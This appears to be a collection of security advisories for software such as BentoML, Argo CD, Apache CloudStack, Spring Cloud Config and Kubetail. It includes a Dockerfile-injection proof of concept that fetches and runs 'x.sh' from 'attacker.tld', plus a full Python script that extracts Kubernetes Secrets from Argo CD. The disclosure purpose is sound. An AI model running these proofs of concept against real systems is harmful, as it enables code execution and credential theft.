الوصف الكامل
SOCFortress CoPilot focuses on providing a single pane of glass for all your security operations needs. Prior to 0.1.57, SOCFortress CoPilot ships a hardcoded JWT signing secret as a fallback value in backend/app/auth/utils.py:28 and ships it verbatim in .env.example. Any deployment where JWT_SECRET is not explicitly set — including the default Docker Compose setup — signs all authentication tokens with this publicly known value. An unauthenticated attacker can forge arbitrary admin-scoped JWTs and gain full control of the application and every security tool it manages without any credentials. This vulnerability is fixed in 0.1.57.
نوع الثغرة
CWE-287 — Auth Bypass
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
الوصف الكامل
The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host. ## Vulnerable code `src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28): ```jinja FROM {{ __options__base_image }} AS base-container ``` `__options__base_image` resolves to `DockerOptions.base_image` (`src/bentoml/_internal/bento/build_config.py:176`): ```python base_image: t.Optional[str] = None ``` No `validator`, no `converter`, no newline check. The value is loaded straight from `bento.yaml` in `src/bentoml/_internal/container/__init__.py:206` via `DockerOptions(**docker_attrs)` and rendered as-is. ## PoC Malicious `bentofile.yaml`: ```yaml docker: base_image: | python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch ``` Minimal reproduction of the unsafe interpolation: ```python from jinja2 import Environment env = Environment() malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch' out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious) print(out) ``` Output: ``` FROM python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch AS base-container ``` Three valid Dockerfile directives instead of one. The `RUN curl` executes during `docker build`. The trailing `FROM scratch AS base-container` provides the named build stage the rest of the template depends on, so the build proceeds without error. ## Impact Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during `bentoml containerize` of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects `docker.base_image` to be a Docker image reference, not a Dockerfile fragment. ## Suggested fix Validate `DockerOptions.base_image` at the config layer: reject any value containing newline characters (`\n`, `\r`) or whitespace beyond a single space-separated tag. A regex like `^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$` covers the practical Docker reference format. The same hardening should be extended to other unvalidated fields interpolated raw in `base_v2.j2`: * `__options__build_include[*]` at line 97 (`COPY ... ./src/{{ name }} ./src/{{ name }}`) — same newline-injection class for path entries from `Image.build_include(*file_paths)`. * `bento__user`, `bento__uid_gid`, `bento__path`, `bento__home`, `bento__entrypoint` — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through `override_bento_env`. ## References * Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043. * CWE-78: https://cwe.mitre.org/data/definitions/78.html
الإصدارات المتأثرة
All versions < 0.0.1, 0.0.2, 0.0.3, 0.0.5, 0.0.6a0
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
الوصف الكامل
The OpenSearch logging provider, when configured with a `host` URL that embeds credentials (for example `https://user:password@server.example.com:9200`), wrote the full host URL — including the embedded credentials — into task logs. Any user with task-log read permission could harvest the backend credentials. Users are advised to upgrade to `apache-airflow-providers-opensearch` 1.9.1 or later and, as a defense-in-depth measure, configure the backend credentials via a secret backend rather than embedding them in the `[opensearch] host` URL.
نوع الثغرة
CWE-532 — CWE-532
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
The Elasticsearch logging provider, when configured with a `host` URL that embeds credentials (for example `https://user:password@server.example.com:9200`), wrote the full host URL — including the embedded credentials — into task logs. Any user with task-log read permission could harvest the backend credentials. Users are advised to upgrade to `apache-airflow-providers-elasticsearch` 6.5.3 or later and, as a defense-in-depth measure, configure the backend credentials via a secret backend rather than embedding them in the `[elasticsearch] host` URL.
نوع الثغرة
CWE-532 — CWE-532
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
In PHP versions 8.2.* before 8.2.31, 8.3.* before 8.3.31, 8.4.* before 8.4.21, and 8.5.* before 8.5.6, the SOAP extension's object deduplication mechanism stores pointers to PHP objects in a global map without incrementing their reference counts. When an apache:Map node contains duplicate keys, processing the second entry overwrites the first in the temporary result map, freeing the original PHP object while its stale pointer remains in the map. A subsequent href reference to the freed node can copy the dangling pointer into the result. As PHP string allocations can reclaim the freed memory region, an attacker with control over the SOAP request body can exploit this use-after-free to achieve remote code execution.
نوع الثغرة
CWE-416 — Use After Free
CVSS Vector
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:X/V:X/RE:M/U:Red
الوصف الكامل
Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to version 2.1.0, all Docker container management endpoints in Termix interpolate the containerId URL path parameter and WebSocket message field directly into shell commands executed via ssh2.Client.exec() on remote managed servers without any sanitization or validation. An authenticated attacker can inject arbitrary OS commands by crafting a malicious container ID, achieving Remote Code Execution on any managed server. This issue has been patched in version 2.1.0.
نوع الثغرة
CWE-78 — OS Command Injection
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
الوصف الكامل
Postiz is an AI social media scheduling tool. Prior to commit da44801, a "Pwn Request" vulnerability in the Build and Publish PR Docker Image workflow (.github/workflows/pr-docker-build.yml) allows any unauthenticated user to execute arbitrary code during the Docker build process and exfiltrate a highly privileged GITHUB_TOKEN (write-all permissions). This can be achieved simply by opening a Pull Request from a fork with a maliciously modified Dockerfile.dev. This issue has been patched via commit da44801.
نوع الثغرة
CWE-94 — Code Injection
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
الوصف الكامل
# Docker registry auth substring match forwards credentials to a different registry ## Repository `cdxgen/cdxgen` ## Affected product/package - Ecosystem: npm - Package: `@cyclonedx/cdxgen` - Reviewed tree version: `12.3.3` - Reviewed commit: `b1e179869fd7c6032c3d483c3f7bd4d7154ec22b` - Affected file: `lib/managers/docker.js` - Affected from: v9.9.5 The Single Executable Applications (SEA) binaries and container images are also affected. ## Weakness CWE-522 / CWE-346. ## Summary When cdxgen scans or pulls container images through the Docker daemon API, it builds an `X-Registry-Auth` header from Docker credentials in `DOCKER_CONFIG/config.json`. The credential selection logic matches configured registry keys with substring checks: ```js if (forRegistry && !serverAddress.includes(forRegistry)) { continue; } ``` This is not an origin-safe registry comparison. For example, credentials configured for `private-registry.example.com` are selected for a requested image under `registry.example.com`, because: ```js "private-registry.example.com".includes("registry.example.com") === true ``` The selected credentials are then serialized into `X-Registry-Auth` for the Docker API pull request targeting the requested registry. ## Reproduction Use the attached/local proof: ```sh node submissions/github-gsa/cdxgen-docker-registry-auth-substring-forwarding/evidence/cdxgen_docker_registry_auth_substring_probe.mjs ``` The proof is fully local. It creates a temporary Docker config containing credentials for `private-registry.example.com`, starts a localhost mock Docker API endpoint, sets `DOCKER_HOST` to that endpoint, then calls cdxgen's exported Docker request path for a pull from `registry.example.com`. Observed vulnerable output: ```json { "decision": "GO", "dockerConfigAuthHost": "private-registry.example.com", "requestedRegistry": "registry.example.com", "substringMatch": true, "dockerApiUrl": "/images/create?fromImage=registry.example.com/team/app:latest", "headerPresent": true, "decodedHeader": { "username": "trusted-user", "password": "trusted-pass", "serveraddress": "private-registry.example.com" } } ``` ## Impact If an operator has Docker credentials for a private registry and uses cdxgen to scan an image from a different registry whose hostname is a substring of that private registry hostname, cdxgen can attach the private registry credentials to the Docker pull request for the different registry. In a realistic attack, an attacker who controls or can observe the requested registry can induce a victim to scan an image from that registry. The Docker daemon API receives an `X-Registry-Auth` payload containing credentials for the victim's private registry but associated with the attacker-requested pull. This is a credential forwarding/misbinding issue in cdxgen's container image handling. ## References Functions `normalizeRegistryHost` and `registriesMatch` added to normalize and perform strict host matching. Fix PR: https://github.com/cdxgen/cdxgen/pull/3964 Researcher: Francesco SabiuResearcher: Francesco Sabiu
الإصدارات المتأثرة
9.9.5 → 12.3.3
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
الوصف الكامل
The optional extension component TinkerpopClientService is missing the Restricted annotation with the Execute Code Required Permission in Apache NiFi 2.0.0-M1 through 2.8.0. The TinkerpopClientService supports configuration of ByteCode Submission for the Script Submission Type, enabling Groovy Script execution in the service prior to submitting the query. The missing Restricted annotation allows users without the Execute Code Permission to configure the Service in installations that use fine-grained authorization and have the optional TinkerpopClientService installed. Apache NiFi installations that do not have the nifi-other-graph-services-nar installed are not subject to this vulnerability. Upgrading to Apache NiFi 2.9.0 is the recommended mitigation.
الإصدارات المتأثرة
2.0.0 - 2.9.0
نوع الثغرة
CWE-862 — Missing Authorization
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:I/V:C/RE:L/U:Green
الوصف الكامل
Instances deployed via the Proxmox extension allow unauthorized access to instances belonging to other tenants. This issue affects Apache CloudStack: from 4.21.0.0 through 4.22.0.0. The Proxmox extension for CloudStack improperly uses a user-editable instance setting, proxmox_vmid, to associate CloudStack instances with Proxmox virtual machines. Because this value is not restricted or validated against tenant ownership and Proxmox VM IDs are predictable, a non-privileged attacker can modify the setting to reference a VM belonging to another account. This allows unauthorized cross-tenant access and enables full control over the targeted VM, including starting, stopping, and destroying the virtual machine. Users are recommended to upgrade to version 4.22.0.1, which fixes this issue. As a workaround for the existing installations, editing of the proxmox_vmid instance detail by users can be prevented by adding this detail name to the global configuration parameter - user.vm.denied.details.
الإصدارات المتأثرة
4.21.0.0 - 4.22.0.1
نوع الثغرة
CWE-200 — Info Disclosure
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
الوصف الكامل
Account users are allowed by default to register templates to be downloaded directly to the primary storage for deploying instances using the KVM hypervisor. Due to missing file name sanitization, an attacker can register malicious templates to execute arbitrary code on the KVM hosts. This can result in the compromise of resource integrity and confidentiality, data loss, denial of service, and availability of the KVM-based infrastructure managed by CloudStack. Users are recommended to upgrade to Apache CloudStack versions 4.20.3.0 or 4.22.0.1, or later, which fixes this issue.
الإصدارات المتأثرة
4.11.0.0 - 4.20.3.0
نوع الثغرة
CWE-94 — Code Injection
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
الوصف الكامل
Due to multiple time-of-check time-of-use race conditions in the resource count check and increment logic, as well as missing validations, users of the platform are able to exceed the allocation limits configured for their accounts/domains. This can be used by an attacker to degrade the infrastructure's resources and lead to denial of service conditions. Users are recommended to upgrade to Apache CloudStack versions 4.20.3.0 or 4.22.0.1, or later, which fixes this issue.
الإصدارات المتأثرة
4.0.0 - 4.20.3.0
نوع الثغرة
CWE-367 — CWE-367
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
الوصف الكامل
Missing MinIO policy cleanup on bucket deletion via Apache CloudStack allows users to retain access to buckets which they previously owned. If another user creates a new bucket with the same name, the previous owners can gain unauthorized read and write access to it by using the previously generated access and secret keys. Users are recommended to upgrade to Apache CloudStack versions 4.20.3.0 or 4.22.0.1, or later, which fixes this issue.
الإصدارات المتأثرة
4.19.0.0 - 4.20.3.0
نوع الثغرة
CWE-459 — CWE-459
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H
الوصف الكامل
The CloudStack Backup plugin has an improper authorization logic in versions 4.21.0.0 and 4.22.0.0. Anyone with authenticated user-account access in CloudStack 4.21.0.0+ environments, where this plugin is enabled and has access to specific APIs can list backups from any account in the environment. This vulnerability does not allow them to see the contents of the backup. Users are recommended to upgrade to version 4.22.0.1, which fixes the issue.
الإصدارات المتأثرة
4.21.0.0 - 4.22.0.1
نوع الثغرة
CWE-863 — Incorrect Authorization
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
Apache::Session versions through 1.94 for Perl re-creates deleted sessions. The session stores Apache::Session::Store::File and Apache::Session::Store::DB_File will create a session that does not exist. This can lead to sessions being revived, potentially with data that was to be deleted.
الإصدارات المتأثرة
1.94
نوع الثغرة
CWE-672 — CWE-672
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
الوصف الكامل
Improper input validation in Azure Managed Instance for Apache Cassandra allows an authorized attacker to execute code over a network.
نوع الثغرة
CWE-20 — Input Validation
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
الوصف الكامل
Improper access control in Azure Managed Instance for Apache Cassandra allows an authorized attacker to execute code over a network.
نوع الثغرة
CWE-284 — CWE-284
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
الوصف الكامل
Lack of user input validation in the file upload functionality of Open Notebook v1.8.3 allows the application user to access local files content from the docker container via path traversal.
الإصدارات المتأثرة
1.8.4
نوع الثغرة
CWE-20 — Input Validation
CVSS Vector
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
الوصف الكامل
Lack of user input validation in the file upload functionality of Open Notebook v1.8.3 allows the application user to create or modify files on the docker container via path traversal.
الإصدارات المتأثرة
1.8.4
نوع الثغرة
CWE-20 — Input Validation
CVSS Vector
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
الوصف الكامل
Lack of user input sanitisation in Open Notebook v1.8.3 allows the application user to execute Python code (and subsequently OS commands) on the docker container via Server-Side Template Injection (SSTI) for user-created transformations.
الإصدارات المتأثرة
1.8.4
نوع الثغرة
CWE-20 — Input Validation
CVSS Vector
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
الوصف الكامل
When enabling trace logging in Spring Cloud Config Server sensitive information was placed in plain text in the logs. Spring Cloud Config 3.1.x: affected from 3.1.0 through 3.1.13 (inclusive); upgrade to 3.1.14 or greater (Enterprise Support Only). Spring Cloud Config 4.1.x: affected from 4.1.0 through 4.1.9 (inclusive); upgrade to 4.1.10 or greater (Enterprise Support Only). Spring Cloud Config 4.2.x: affected from 4.2.0 through 4.2.6 (inclusive); upgrade to 4.2.7 or greater (Enterprise Support Only). Spring Cloud Config 4.3.x: affected from 4.3.0 through 4.3.2 (inclusive); upgrade to 4.3.3 or greater. Spring Cloud Config 5.0.x: affected from 5.0.0 through 5.0.2 (inclusive); upgrade to 5.0.3 or greater.
الإصدارات المتأثرة
3.1.0, 3.1.1, 3.1.10, 3.1.2, 3.1.3
نوع الثغرة
CWE-532 — CWE-532
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
The base directory (`spring.cloud.config.server.git.basedir`) used by the Spring Cloud Config Server to clone Git repositories to is susceptible to time-of-check-time-of-use (TOCTOU) attacks. Spring Cloud Config 3.1.x: affected from 3.1.0 through 3.1.13 (inclusive); upgrade to 3.1.14 or greater (Enterprise Support Only). Spring Cloud Config 4.1.x: affected from 4.1.0 through 4.1.9 (inclusive); upgrade to 4.1.10 or greater (Enterprise Support Only). Spring Cloud Config 4.2.x: affected from 4.2.0 through 4.2.6 (inclusive); upgrade to 4.2.7 or greater (Enterprise Support Only). Spring Cloud Config 4.3.x: affected from 4.3.0 through 4.3.2 (inclusive); upgrade to 4.3.3 or greater. Spring Cloud Config 5.0.x: affected from 5.0.0 through 5.0.2 (inclusive); upgrade to 5.0.3 or greater.
الإصدارات المتأثرة
3.1.0, 3.1.1, 3.1.10, 3.1.2, 3.1.3
نوع الثغرة
CWE-367 — CWE-367
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N
الوصف الكامل
Spring Cloud Config allows applications to serve arbitrary text and binary files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead to a directory traversal attack. Spring Cloud Config 3.1.x: affected from 3.1.0 through 3.1.13 (inclusive); upgrade to 3.1.14 or greater (Enterprise Support Only). Spring Cloud Config 4.1.x: affected from 4.1.0 through 4.1.9 (inclusive); upgrade to 4.1.10 or greater (Enterprise Support Only). Spring Cloud Config 4.2.x: affected from 4.2.0 through 4.2.6 (inclusive); upgrade to 4.2.7 or greater (Enterprise Support Only). Spring Cloud Config 4.3.x: affected from 4.3.0 through 4.3.2 (inclusive); upgrade to 4.3.3 or greater. Spring Cloud Config 5.0.x: affected from 5.0.0 through 5.0.2 (inclusive); upgrade to 5.0.3 or greater.
الإصدارات المتأثرة
3.1.0, 3.1.1, 3.1.10, 3.1.2, 3.1.3
نوع الثغرة
CWE-22 — Path Traversal
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
الوصف الكامل
When using Google Secrets Manager as a backend for the Spring Cloud Config server a client can craft a request to the config server potentially exposing secrets from unintended GCP projects. Spring Cloud Config 3.1.x: affected from 3.1.0 through 3.1.13 (inclusive); upgrade to 3.1.14 or greater (Enterprise Support Only). Spring Cloud Config 4.1.x: affected from 4.1.0 through 4.1.9 (inclusive); upgrade to 4.1.10 or greater (Enterprise Support Only). Spring Cloud Config 4.2.x: affected from 4.2.0 through 4.2.6 (inclusive); upgrade to 4.2.7 or greater (Enterprise Support Only). Spring Cloud Config 4.3.x: affected from 4.3.0 through 4.3.2 (inclusive); upgrade to 4.3.3 or greater. Spring Cloud Config 5.0.x: affected from 5.0.0 through 5.0.2 (inclusive); upgrade to 5.0.3 or greater.
الإصدارات المتأثرة
3.1.0, 3.1.1, 3.1.10, 3.1.2, 3.1.3
نوع الثغرة
CWE-639 — IDOR
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
### Summary Kubetail's dashboard exposes WebSocket endpoints that did not adequately validate the Origin header on connection upgrade. A malicious web page visited by a user with an active Kubetail session could open a WebSocket to the user's dashboard and read their Kubernetes logs in real time. This is a Cross-Site WebSocket Hijacking (CSWSH) vulnerability and affects both the desktop deployment (default http://localhost:7500) and cluster deployments (typically behind an Ingress with HTTP basic auth). ### Impact An attacker who can convince an authenticated Kubetail user to visit a page they control can: - Establish a WebSocket connection to the victim's dashboard from the attacker's origin - Stream container logs the victim has access to via the Kubernetes API - Exfiltrate the contents to an attacker-controlled server The attacker gains **read-only** access to logs — no write or destructive operations are exposed. However, container logs frequently contain credentials accidentally written by application code, bearer tokens, internal hostnames, customer PII, and other secrets, so the practical impact of read access can be significant. The desktop deployment is particularly exposed because the dashboard is reachable at a predictable localhost URL, requires no network reachability from the attacker, and the browser will attach ambient credentials to the WebSocket handshake. For cluster deployments fronted by HTTP basic auth, the browser's automatic re-sending of basic-auth credentials on the WebSocket upgrade request enables the same attack against the configured dashboard origin. ### Affected versions | Component | Name | Affected | Patched | | --------------------------------- | ---------------------- | -------- | ---------- | | Kubetail Dashboard docker image | `kubetail-dashboard` | < 0.14.0 | >= 0.14.0 | | Kubetail Helm Chart | `kubetail/kubetail` | < 0.23.0 | >= 0.23.0 | | Kubetail CLI | `kubetail` | < 0.16.0 | >= 0.16.0 | Confirmed in Google Chrome. Microsoft Edge is presumed affected as it shares Chromium's WebSocket implementation, but was not directly tested. **Preconditions for exploitation** 1. The victim has an active authenticated Kubetail session (desktop dashboard running, or browser holding valid credentials for a cluster deployment). 2. The victim visits a web page controlled by the attacker in the same browser. 3. The attacker knows or can guess the dashboard URL (trivial for desktop; cluster deployments require knowing the Ingress hostname). ### Patches Upgrade to: * Kubetail Dashboard 0.14.0 or later * Kubetail Helm Chart 0.23.0 or later * Kubetail CLI 0.16.0 or later ### Workarounds If users cannot upgrade immediately: * **Desktop:** Stop the dashboard (kubetail CLI process) when not actively in use. Avoid visiting untrusted sites in the same browser profile while the dashboard is running. * **Cluster:** Restrict Ingress access to a VPN, bastion, or office network. Add a stronger outer authentication layer (e.g. OAuth proxy) in front of basic auth. Consider browser profile isolation for cluster admins.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
الوصف الكامل
### Summary There is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism. ### Details Argo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states: ``` // server/application/application.go:3051-3062 responseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{ TargetState: string(diffRes.PredictedLive), LiveState: string(diffRes.NormalizedLive), }) ``` A user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true. When IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely: ``` if o.ignoreMutationWebhook { predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager) } ``` The raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking. When ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of: `kubectl apply --server-side --dry-run=server --field-manager=argocd-controller ` For extraction to succeed, the Secret's data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response. ### PoC ``` #!/usr/bin/env python3 """ Argo CD ServerSideDiff Secret Extraction PoC Usage: python3 poc.py <host> <token> <app> <project> Example: python3 poc.py argocd.int.<customer>.com eyJhbG... my-app my-project """ import base64 import http.client import json import ssl import struct import sys import urllib.parse from collections import defaultdict def encode_varint(v): out = [] while v > 0x7f: out.append((v & 0x7f) | 0x80) v >>= 7 out.append(v & 0x7f) return bytes(out) def encode_str(field, val): tag = (field << 3) | 2 raw = val.encode() return encode_varint(tag) + encode_varint(len(raw)) + raw def encode_bytes(field, val): tag = (field << 3) | 2 return encode_varint(tag) + encode_varint(len(val)) + val def encode_bool(field, val): tag = (field << 3) | 0 return encode_varint(tag) + encode_varint(1 if val else 0) def decode_varint(data, pos): val, shift = 0, 0 while pos < len(data): b = data[pos]; pos += 1 val |= (b & 0x7f) << shift; shift += 7 if not (b & 0x80): break return val, pos def decode_fields(data): fields = defaultdict(list) pos = 0 while pos < len(data): tag, pos = decode_varint(data, pos) wtype = tag & 0x07 if wtype == 0: val, pos = decode_varint(data, pos) fields[tag >> 3].append(val) elif wtype == 2: length, pos = decode_varint(data, pos) fields[tag >> 3].append(data[pos:pos + length]) pos += length elif wtype == 5: fields[tag >> 3].append(data[pos:pos + 4]); pos += 4 elif wtype == 1: fields[tag >> 3].append(data[pos:pos + 8]); pos += 8 else: break return dict(fields) # -- grpc-web framing -- def grpc_frame(payload): return b"\x00" + struct.pack(">I", len(payload)) + payload def decode_grpc_frames(data): frames, pos = [], 0 while pos + 5 <= len(data): flag = data[pos] length = struct.unpack(">I", data[pos+1:pos+5])[0] pos += 5 frames.append((flag, data[pos:pos+length])) pos += length return frames # -- http helpers -- def make_conn(host): ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10) def rest_get(conn, path, token): conn.request("GET", path, headers={ "Authorization": "Bearer " + token, "Accept": "application/json", }) resp = conn.getresponse() body = resp.read() if resp.status != 200: return None, "HTTP %d" % resp.status return json.loads(body), None def grpc_post(conn, token, payload): conn.request("POST", "/application.ApplicationService/ServerSideDiff", body=grpc_frame(payload), headers={ "Content-Type": "application/grpc-web+proto", "Accept": "application/grpc-web+proto", "X-Grpc-Web": "1", "Authorization": "Bearer " + token, }) resp = conn.getresponse() raw = resp.read() if resp.status != 200: return None, "HTTP %d" % resp.status frames = decode_grpc_frames(raw) for flag, fdata in frames: if flag == 0: return fdata, None return None, "no data frame in response" # -- main -- def main(): if len(sys.argv) != 5: print("Usage: python3 poc.py <host> <token> <app> <project>") sys.exit(1) host, token, app_name, project = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4] conn = make_conn(host) # step 1: list managed resources for the app, find secrets print("[*] Fetching managed resources for %s/%s ..." % (project, app_name)) data, err = rest_get(conn, "/api/v1/applications/%s/managed-resources" % urllib.parse.quote(app_name), token) if err: print("[-] Failed: %s" % err); sys.exit(1) secrets = [] for r in data.get("items", []): if r.get("kind") != "Secret": continue name = r.get("name", "") ns = r.get("namespace", "") live = r.get("liveState", "") stype = "Opaque" if live and live != "null": try: stype = json.loads(live).get("type", "Opaque") except Exception: pass secrets.append((name, ns, stype, live)) if not secrets: print("[-] No secrets found in managed resources"); sys.exit(0) print("[+] Found %d secrets" % len(secrets)) # step 2: call ServerSideDiff for each secret total_extracted = 0 for sname, sns, stype, live_json in secrets: # build minimal target manifest (no data field) target = {"apiVersion": "v1", "kind": "Secret", "metadata": {"name": sname, "namespace": sns}, "type": stype} # copy required annotations from live state for SA tokens if live_json and live_json != "null": try: live_annots = json.loads(live_json).get("metadata", {}).get("annotations", {}) k8s_annots = {k: v for k, v in live_annots.items() if k.startswith("kubernetes.io/")} if k8s_annots: target["metadata"]["annotations"] = k8s_annots except Exception: pass # for TLS secrets, include required placeholder keys if stype == "kubernetes.io/tls": target["data"] = { "tls.crt": base64.b64encode(b"PLACEHOLDER").decode(), "tls.key": base64.b64encode(b"PLACEHOLDER").decode(), } elif stype == "kubernetes.io/dockerconfigjson": target["data"] = {".dockerconfigjson": base64.b64encode(b'{"auths":{}}').decode()} # encode the grpc request lr = b"" lr += encode_str(2, "Secret") # kind lr += encode_str(3, sns) # namespace lr += encode_str(4, sname) # name if live_json: lr += encode_str(6, live_json) # liveState lr += encode_bool(12, True) # modified query = encode_str(1, app_name) query += encode_str(3, project) query += encode_bytes(4, lr) query += encode_str(5, json.dumps(target)) # reconnect for each call (simple, no pool needed for poc) try: conn = make_conn(host) resp_data, err = grpc_post(conn, token, query) except Exception as e: print(" [!] %s/%s: %s" % (sns, sname, e)) continue if err: print(" [!] %s/%s: %s" % (sns, sname, err)) continue # parse response resp_fields = decode_fields(resp_data) for item_bytes in resp_fields.get(1, []): if not isinstance(item_bytes, bytes): continue ifields = decode_fields(item_bytes) # field 5 = targetState (predictedLive — has real values from etcd) for raw in ifields.get(5, []): if not isinstance(raw, bytes): continue try: obj = json.loads(raw) except Exception: continue if obj.get("kind") != "Secret": continue secret_data = obj.get("data", {}) if not secret_data: continue # check for real (non-masked) values real_keys = {} for k, v in secret_data.items(): if not v: continue if all(c == "+" for c in v): continue # masked by argocd try: decoded = base64.b64decode(v) text = decoded.decode("utf-8", errors="replace") except Exception: continue if all(c == "+" for c in text) and text: continue # masked (base64 of +++...) real_keys[k] = text if real_keys: total_extracted += 1 print("\n [***] %s/%s (%s)" % (sns, sname, stype)) print(" %d/%d keys extracted:" % (len(real_keys), len(secret_data))) for k in sorted(real_keys): v = real_keys[k].replace("\n", "\\n") if len(v) > 120: v = v[:120] + "..." print(" %s: %s" % (k, v)) print("\n[*] Done. %d secrets with real values extracted." % total_extracted) if __name__ == "__main__": main() ``` ### Impact Any user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.
الإصدارات المتأثرة
3.2.0 - 3.2.11
نوع الثغرة
